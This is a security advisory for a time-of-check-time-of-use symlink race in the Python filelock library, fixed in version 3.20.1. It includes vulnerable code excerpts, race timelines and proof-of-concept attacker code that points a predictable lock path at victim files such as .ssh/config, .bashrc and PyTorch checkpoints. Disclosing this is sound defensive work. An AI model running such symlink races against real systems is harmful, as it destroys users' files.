A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.
Who is impacted:
All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:
Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.
Fixed in version 3.20.1.
Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.
Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().
Users should upgrade to filelock 3.20.1 or later immediately.
If immediate upgrade is not possible:
Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.
Unix/Linux/macOS (src/filelock/_unix.py:39-44):
def _acquire(self) -> None:
ensure_directory_exists(self.lock_file)
open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate
if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?
open_flags |= os.O_CREAT
fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate
Windows (src/filelock/_windows.py:19-28):
def _acquire(self) -> None:
raise_on_not_writable_file(self.lock_file) # (1) Check writability
ensure_directory_exists(self.lock_file)
flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate
fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate
The vulnerability exists in the gap between operations:
Unix variant:
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file exists? → False
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
Windows variant:
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file writable?
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink/junction
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
1. Attacker Setup:
# Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock" # Predictable lock path
victim_file = "/home/victim/.ssh/config" # High-value target
2. Attacker Creates Race Condition:
import os
import threading
def attacker_thread():
# Remove any existing lock file
try:
os.unlink(lock_path)
except FileNotFoundError:
pass
# Create symlink pointing to victim file
os.symlink(victim_file, lock_path)
print(f"[Attacker] Created: {lock_path} → {victim_file}")
# Launch attack
threading.Thread(target=attacker_thread).start()
3. Victim Application Runs:
from filelock import UnixFileLock
# Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire() # ← VULNERABILITY TRIGGERED HERE
# At this point, /home/victim/.ssh/config is now 0 bytes!
4. What Happens Inside os.open():
On Unix systems, when os.open() is called:
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
struct file *f = path_lookup(pathname); // Resolves symlinks by default!
if (flags & O_TRUNC) {
truncate_file(f); // ← Truncates the TARGET of the symlink
}
return file_descriptor;
}
Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.
Timing Characteristics:
Success factors:
Scenario 1: virtualenv Exploitation
# Victim runs: python -m venv /tmp/myenv
# Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")
# Result: /home/victim/.bashrc overwritten with:
# home = /usr/bin/python3
# include-system-site-packages = false
# version = 3.11.2
# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
Scenario 2: PyTorch Cache Poisoning
# Victim runs: import torch
# PyTorch checks CPU capabilities, uses filelock on cache
# Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")
# Result: Trained ML model checkpoint truncated to 0 bytes
# Impact: Weeks of training lost, ML pipeline DoS
File permissions don't prevent this:
Directory permissions help but aren't always feasible:
File locking doesn't prevent this:
From empirical testing with the provided PoCs:
Simple Direct Attack (filelock_simple_poc.py):
virtualenv Attack (weaponized_virtualenv.py):
PyTorch Attack (weaponized_pytorch.py):
Discovered and reported by: George Tsigourakos (@tsigouris007)
{
"nvd_published_at": null,
"github_reviewed": true,
"cwe_ids": [
"CWE-362",
"CWE-367",
"CWE-59"
],
"github_reviewed_at": "2025-12-16T20:52:55Z",
"severity": "MODERATE"
}